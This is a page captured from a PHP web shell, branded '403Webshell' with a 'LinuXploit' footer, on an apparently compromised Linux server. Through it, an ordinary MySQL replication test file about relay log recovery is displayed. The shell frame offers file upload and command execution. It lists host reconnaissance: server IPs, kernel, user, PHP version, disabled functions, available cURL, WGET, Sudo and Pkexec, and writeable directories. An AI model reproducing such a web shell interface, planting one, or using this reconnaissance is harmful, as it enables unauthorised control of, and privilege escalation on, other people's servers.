403Webshell
Server IP : 104.21.38.3  /  Your IP : 104.23.175.168
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_trx_boundary_parser_relay_log_recovery.test
# ==== Purpose ====
#
# This test will verify if a slave will skip the transaction boundary parser
# and the Retrieved_Gtid_Set initialization when relay_log_recovery is set.
#
# ==== Related Bugs and Worklogs ====
#
# BUG#21798355 SLOW STARTUP OF 5.7.X SLAVE WITH RELAY_LOG_RECOVERY = ON
#              AND MANY RELAY LOGS

# This test case is binary log format agnostic
--source include/have_binlog_format_row.inc
--let $rpl_skip_start_slave=1
--source include/master-slave.inc
# Suppress recovery warning messages
CALL mtr.add_suppression('Recovery from master pos');

# Insert some content on the master
CREATE TABLE t1 (c1 INT);
INSERT INTO t1 VALUES (1);

# Rotate the binary log to have events on more than one relay log file
FLUSH LOCAL BINARY LOGS;
INSERT INTO t1 VALUES (1);
DROP TABLE t1;

# Start and sync the I/O thread before restarting the slave
--source include/rpl_connection_slave.inc
--source include/start_slave_io.inc
--source include/rpl_connection_master.inc
--source include/sync_slave_io_with_master.inc

# Restart the slave enabling relay_log_recovery
--let $rpl_server_number= 2
--let $rpl_server_parameters= --relay_log_recovery=ON
--source include/rpl_restart_server.inc

# File to GREP
--let $assert_file=$MYSQLTEST_VARDIR/log/mysqld.2.err
# Show entries only after the last occurrence of the following pattern
--let $assert_only_after=.* \[Note\] Shutting down slave threads
# Assert that there is no expected note log line about reading relay log events
--let $assert_count= 0
--let $assert_select=.* \[Note\] .* events read in relaylog file .*
--let $assert_text= Found no lines about reading events on the relay log.
--source include/assert_grep.inc

# Cleanup
--source include/rpl_connection_slave.inc
--source include/start_slave.inc

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit